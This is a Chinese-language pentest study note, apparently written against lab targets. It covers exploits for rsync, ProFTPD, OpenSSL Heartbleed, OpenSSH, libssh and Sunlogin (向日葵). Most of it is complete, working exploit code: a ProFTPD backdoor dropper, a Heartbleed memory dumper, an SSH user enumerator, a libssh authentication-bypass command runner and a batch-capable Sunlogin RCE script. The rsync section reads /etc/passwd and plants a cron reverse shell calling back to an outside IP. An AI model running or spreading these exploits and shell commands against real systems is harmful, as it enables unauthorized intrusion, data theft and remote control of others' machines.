应用协议漏洞
一、rsync
- rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口
1.未授权访问
-
打开靶场
-
判断漏洞是否存在
rsync rsync://目标ip:端口
-
读取文件
rsync rsync://47.99.49.128:873/src/tmp/
-
下载文件
rsync rsync://47.99.49.128:873/src/etc/passwd ./
-
上传文件
rsync -av passwd rsync://47.99.49.128:873/src/tmp/passwd
-
获取shell
-
查看crontab中的内容,发现有一个每17分钟执行一次/etc/cron.hourly文件的定时任务
rsync rsync://47.99.49.128:873/src/etc/crontab ./
-
发现每17分钟执行/etc/cron.hourly文件,我们创建一个反弹shell的文件覆盖该文件
vim shell内容: bash -i >& /dev/tcp/120.46.39.24/8848 0>&1赋权:chmod +x shell 覆盖文件: rsync -av shell rsync://47.99.49.128:873/src/etc/cron.hourly
-
MSF批量验证
use auxiliary/scanner/rsync/modules_list 进入rsync漏洞扫描模块 show options 查看模块配置方法 set rhosts file:/tmp/ip.txt 批量扫描,指定字典 set threads 10 配置线程
-
【+】代表有漏洞,【*】没有
-
二、ProFTPD
- 一个Unix平台上或是类Unix平台上 (如Linux, FreeBSD等)的FTP服务器程序
1.RCE(cve-2015-3306)
-
https://github.com/t0kx/exploit-CVE-2015-3306
-
打开靶场
-
EXP
#!/usr/bin/env python # CVE-2015-3306 exploit by t0kx # https://github.com/t0kx/exploit-CVE-2015-3306import re import socket import requests import argparseclass Exploit:def __init__(self, host, port, path):self.__sock = Noneself.__host = hostself.__port = portself.__path = pathdef __connect(self):self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.__sock.connect((self.__host, self.__port))self.__sock.recv(1024)def __exploit(self):payload = "<?php echo passthru($_GET['cmd']); ?>"self.__sock.send(b"site cpfr /proc/self/cmdline\n")self.__sock.recv(1024)self.__sock.send(("site cpto /tmp/." + payload + "\n").encode("utf-8"))self.__sock.recv(1024)self.__sock.send(("site cpfr /tmp/." + payload + "\n").encode("utf-8"))self.__sock.recv(1024)self.__sock.send(("site cpto "+ self.__path +"/backdoor.php\n").encode("utf-8"))if "Copy successful" in str(self.__sock.recv(1024)):print("[+] Target exploited, acessing shell at http://" + self.__host + "/backdoor.php")print("[+] Running whoami: " + self.__trigger())print("[+] Done")else:print("[!] Failed")def __trigger(self):data = requests.get("http://" + self.__host + "/backdoor.php?cmd=whoami")match = re.search('cpto /tmp/.([^"]+)', data.text)return match.group(0)[11::].replace("\n", "")def run(self):self.__connect()self.__exploit()def main(args):print("[+] CVE-2015-3306 exploit by t0kx")print("[+] Exploiting " + args.host + ":" + args.port)exploit = Exploit(args.host, int(args.port), args.path)exploit.run()if __name__ == "__main__":parser = argparse.ArgumentParser()parser.add_argument('--host', required=True)parser.add_argument('--port', required=True)parser.add_argument('--path', required=True)args = parser.parse_args()main(args)
-
执行exp
python3 exploit.py --host 47.99.49.128 --port 56714 --path "/var/www/html"
-
执行命令
:57867/backdoor.php?cmd=id
三、SSH
- OpenSSH 是SSH协议的免费开源实现。SSH协议族可以用来进行远程控制, 或在计算机之间传送文件
- OpenSSL 是一个开源的软件库,使用包含了众多加解密算法,用于传输层安全性 (TLS) 和安全套接字层 (SSL) 协议的强大、商业级和功能齐全的工具包
- libssh 是一个提供SSH相关接口的开源库,包含服务端、客户端等。其服务端代码中存在一处逻辑错误,攻击者可以在认证成功前发送`MSG_USERAUTH_SUCCESS消息,绕过认证过程,未授权访问目标 SSH 服务器
1.心脏出血(CVE-2014-0160 版本很少)
-
受影响版本
OpenSSL 1.0.2-beta OpenSSL 1.0.1 - OpenSSL 1.0.1f
-
打开靶场
-
MSF进行验证
search heartbleed 查找攻击模块 use auxiliary/scanner/ssl/openssl_heartbleed 选择攻击模块 show options 查看需要设置的参数 set RHOST 设置对应的主机 set RPORT 设置对应的端口 set verbose true 设置verbose为true是为了 看到泄露的信息 run 执行
-
EXP获取敏感数据
#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code.import sys import struct import socket import time import select import binascii import re from optparse import OptionParseroptions = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')def h2bin(x):return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''')hb = h2bin(''' 18 03 02 00 03 01 40 00 ''')def hexdump(s: bytes):for b in range(0, len(s), 16):lin = [c for c in s[b : b + 16]]hxdat = ' '.join('%02X' % c for c in lin)pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)print(' %04x: %-48s %s' % (b, hxdat, pdat))print("")def recvall(s, length, timeout=5):endtime = time.time() + timeoutrdata = b''remain = lengthwhile remain > 0:rtime = endtime - time.time()if rtime < 0:return Noner, w, e = select.select([s], [], [], 5)if s in r:data = s.recv(remain)# EOF?if not data:return Nonerdata += dataremain -= len(data)return rdatadef recvmsg(s):hdr = recvall(s, 5)if hdr is None:print('Unexpected EOF receiving record header - server closed connection')return None, None, Nonetyp, ver, ln = struct.unpack('>BHH', hdr)pay = recvall(s, ln, 10)if pay is None:print('Unexpected EOF receiving record payload - server closed connection')return None, None, Noneprint(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))return typ, ver, paydef hit_hb(s):s.send(hb)while True:typ, ver, pay = recvmsg(s)if typ is None:print('No heartbeat response received, server likely not vulnerable')return Falseif typ == 24:print('Received heartbeat response:')hexdump(pay)if len(pay) > 3:print('WARNING: server returned more data than it should - server is vulnerable!')else:print('Server processed malformed heartbeat, but did not return any extra data.')return Trueif typ == 21:print('Received alert:')hexdump(pay)print('Server returned error, likely not vulnerable')return Falsedef main():opts, args = options.parse_args()if len(args) < 1:options.print_help()returns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)print('Connecting...')sys.stdout.flush()s.connect((args[0], opts.port))print('Sending Client Hello...')sys.stdout.flush()s.send(hello)print('Waiting for Server Hello...')sys.stdout.flush()while True:typ, ver, pay = recvmsg(s)if typ == None:print('Server closed connection without sending Server Hello.')return# Look for server hello done message.if typ == 22 and pay[0] == 0x0E:breakprint('Sending heartbeat request...')sys.stdout.flush()s.send(hb)hit_hb(s)if __name__ == '__main__':main()
2.用户枚举(CVE-2018-15473)
-
影响版本:OpenSSH < 7.7
-
打开靶场
-
MSF进行验证
use auxiliary/scanner/ssh/ssh_enumusers
-
使用POC进行验证
#!/usr/bin/env python ########################################################################### # ____ _____ _____ _ _ # # / __ \ / ____/ ____| | | | # # | | | |_ __ ___ _ __ | (___| (___ | |__| | # # | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | # # | |__| | |_) | __/ | | |____) |___) | | | | # # \____/| .__/ \___|_| |_|_____/_____/|_| |_| # # | | Username Enumeration # # |_| # # # ########################################################################### # Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473) # # Vulnerability: CVE-2018-15473 # # Affected Versions: OpenSSH version < 7.7 # # Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT # # Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit # # Email: Justin.Gardner@SynerComm.com # # Date: August 20, 2018 # ###########################################################################import argparse import logging import paramiko import multiprocessing import socket import string import sys import json from random import randint as rand from random import choice as choice # store function we will overwrite to malform the packet old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]# list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target # with these 3 random usernames (there is an almost 0 possibility that they can be real ones) random_username_list = [] # populate the list for i in range(3):user = "".join(choice(string.ascii_lowercase) for x in range(rand(15, 20)))random_username_list.append(user)# create custom exception class BadUsername(Exception):def __init__(self):pass# create malicious "add_boolean" function to malform packet def add_boolean(*args, **kwargs):pass# create function to call when username was invalid def call_error(*args, **kwargs):raise BadUsername()# create the malicious function to overwrite MSG_SERVICE_ACCEPT handler def malform_packet(*args, **kwargs):old_add_boolean = paramiko.message.Message.add_booleanparamiko.message.Message.add_boolean = add_booleanresult = old_parse_service_accept(*args, **kwargs)#return old add_boolean function so start_client will work againparamiko.message.Message.add_boolean = old_add_booleanreturn result# create function to perform authentication with malformed packet and desired username def checkUsername(username, tried=0):sock = socket.socket()sock.connect((args.hostname, args.port))# instantiate transporttransport = paramiko.transport.Transport(sock)try:transport.start_client()except paramiko.ssh_exception.SSHException:# server was likely flooded, retry up to 3 timestransport.close()if tried < 4:tried += 1return checkUsername(username, tried)else:print('[-] Failed to negotiate SSH transport')try:transport.auth_publickey(username, paramiko.RSAKey.generate(1024))except BadUsername:return (username, False)except paramiko.ssh_exception.AuthenticationException:return (username, True)#Successful auth(?)raise Exception("There was an error. Is this the correct version of OpenSSH?")# function to test target system using the randomly generated usernames def checkVulnerable():vulnerable = Truefor user in random_username_list:result = checkUsername(user)if result[1]:vulnerable = Falsereturn vulnerabledef exportJSON(results):data = {"Valid":[], "Invalid":[]}for result in results:if result[1] and result[0] not in data['Valid']:data['Valid'].append(result[0])elif not result[1] and result[0] not in data['Invalid']:data['Invalid'].append(result[0])return json.dumps(data)def exportCSV(results):final = "Username, Valid\n"for result in results:final += result[0]+", "+str(result[1])+"\n"return finaldef exportList(results):final = ""for result in results:if result[1]:final+="++++++" + result[0] + " is a valid user!\n"else:final+=result[0]+" is not a valid user!\n"return final# assign functions to respective handlers paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error# get rid of paramiko logging logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())arg_parser = argparse.ArgumentParser() arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address") arg_parser.add_argument('--port', type=int, default=22, help="The target port") arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used") arg_parser.add_argument('--outputFile', type=str, help="The output file location") arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location") group = arg_parser.add_mutually_exclusive_group(required=True) group.add_argument('--username', type=str, help="The single username to validate") group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through") args = arg_parser.parse_args()def main():sock = socket.socket()try:sock.connect((args.hostname, args.port))sock.close()except socket.error:print('[-] Connecting to host failed. Please check the specified host and port.')sys.exit(1)# first we run the function to check if host is vulnerable to this CVEif not checkVulnerable():# most probably the target host is either patched or running a version not affected by this CVEprint("Target host most probably is not vulnerable or already patched, exiting...")sys.exit(0)elif args.username: #single username passed inresult = checkUsername(args.username)if result[1]:print(result[0]+" is a valid user!")else:print(result[0]+" is not a valid user!")elif args.userList: #username list passed intry:f = open(args.userList)except IOError:print("[-] File doesn't exist or is unreadable.")sys.exit(3)usernames = map(str.strip, f.readlines())f.close()# map usernames to their respective threadspool = multiprocessing.Pool(args.threads)results = pool.map(checkUsername, usernames)try:if args.outputFile:outputFile = open(args.outputFile, "w")except IOError:print("[-] Cannot write to outputFile.")sys.exit(5)if args.outputFormat=='json':if args.outputFile:outputFile.writelines(exportJSON(results))outputFile.close()print("[+] Results successfully written to " + args.outputFile + " in JSON form.")else:print(exportJSON(results))elif args.outputFormat=='csv':if args.outputFile:outputFile.writelines(exportCSV(results))outputFile.close()print("[+] Results successfully written to " + args.outputFile + " in CSV form.")else:print(exportCSV(results))else:if args.outputFile:outputFile.writelines(exportList(results))outputFile.close()print("[+] Results successfully written to " + args.outputFile + " in List form.")else:print(exportList(results))else: # no usernames passed inprint("[-] No usernames provided to check")sys.exit(4)if __name__ == '__main__':main()
3.命令注入(CVE-2020-15778 价值不高)
- 漏洞版本:<= openssh-8.3p1
4.libssh身份验证绕过(CVE-2018-10933)
-
影响版本
libssh 0.6 及更高版本具有身份验证绕过漏洞。 libssh 版本 0.8.4 和 libssh 0.7.6 已发布,以解决此问题。
-
打开靶场
-
EXP
因其正常连接需要输入密码,使用 EXP 向服务器显示
SSH2_MSG_USERAUTH_SUCCESS
消息
代替服务器等待的SSH2_MSG_USERAUTH_REQUEST
消息,以达到无登录凭据认证#!/usr/bin/env python3 import sys import paramiko import socket import logginglogging.basicConfig(stream=sys.stdout, level=logging.DEBUG) bufsize = 2048def execute(hostname, port, command):sock = socket.socket()try:sock.connect((hostname, int(port)))message = paramiko.message.Message()transport = paramiko.transport.Transport(sock)transport.start_client()message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)transport._send_message(message)client = transport.open_session(timeout=10)client.exec_command(command)# stdin = client.makefile("wb", bufsize)stdout = client.makefile("rb", bufsize)stderr = client.makefile_stderr("rb", bufsize)output = stdout.read()error = stderr.read()stdout.close()stderr.close()return (output+error).decode()except paramiko.SSHException as e:logging.exception(e)logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")except socket.error:logging.debug("Unable to connect.")return Noneif __name__ == '__main__':print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
四、向日葵
1.RCE(CNVD-2022-10207)
-
漏洞安装包下载:https://download.csdn.net/download/weixin_46029520/88782063
-
影响客户端版本:
11.1.1 10.3.0.27372 11.0.0.33162
-
发生在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用,客户端开启客户端会自动随机开启一个大于
40000
的端口号 -
EXP
Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file] python exp.py -i 127.0.0.1 -p 20038 -c "net user" python exp.py -f targets.txt -c "whoami"
from optparse import OptionParser import requests import jsondef title():print("""╔═╗┬ ┬┌┐┌╦ ┌─┐┌─┐┬┌┐┌ ╦═╗┌─┐┌─┐ ╚═╗│ ││││║ │ ││ ┬││││───╠╦╝│ ├┤ =.= ╚═╝└─┘┘└┘╩═╝└─┘└─┘┴┘└┘ ╩╚═└─┘└─┘By:J2ekim向日葵v11.x RCE""")def gettoken(ip, port):print("http://" + ip + ":" + port)url = "http://" + ip + ":" + port + "/cgi-bin/rpc?action=verify-haras"try:res = json.loads(requests.get(url,verify=False, timeout=5).text)# print(res['verify_string'])return res['verify_string']except requests.exceptions.ConnectTimeout as _:print ("fail", "ConnectTimeout")except Exception as _:print ("fail", "Error")def RunCmd(ip, port, command,token):poc1 = "http://" + ip + ":" + port + "/check?cmd=ping../../../../../../windows/system32/" + command# poc1 = "http://" + ip + ":" + port + "/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+"+ cmdcookies = {"CID": token}# print(cookies)try:resu = requests.get(poc1, cookies=cookies, timeout=5,verify=False).textprint(resu)except Exception as _:return ("fail", "Error_")def getshell(url,command):try:print(url)vul_url = url + "/cgi-bin/rpc?action=verify-haras"reps = json.loads(requests.get(vul_url, verify=False, timeout=5).text)verify_string = (reps['verify_string'])cookies = {"CID": verify_string}poc11 = url + "/check?cmd=ping../../../../../../windows/system32/" + commandpoc_reps = requests.get(poc11, cookies=cookies, timeout=5, verify=False).textprint(poc_reps)except TimeoutError:print("timeout")except Exception:print("error")def batch_getshell(filename,command):with open(filename, mode="r", encoding="utf-8") as f:for url in f:if "http" not in url:url = "http://" + urlgetshell(url,command)else:getshell(url, command)def main(host,port,command):try:token = gettoken(host, port)RunCmd(host, port, command, token)except requests.RequestException as e:print(e)if __name__ == '__main__':title()usage = ("""Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file]python exp.py -i 127.0.0.1 -p 20038 -c "net user" python exp.py -f targets.txt -c "whoami" """)parser = OptionParser(usage=usage)parser.add_option('-i', '--ip', dest='ip')parser.add_option('-p', '--port', dest='port')parser.add_option('-c', '--command', dest='command')parser.add_option('-f', '--file', dest='file')(option, args) = parser.parse_args()host = option.ipport = option.portcommand = option.commandfile = option.fileif host is None and command is None and port is None :print(usage)elif file is not None:batch_getshell(file,command)else:main(host, port,command)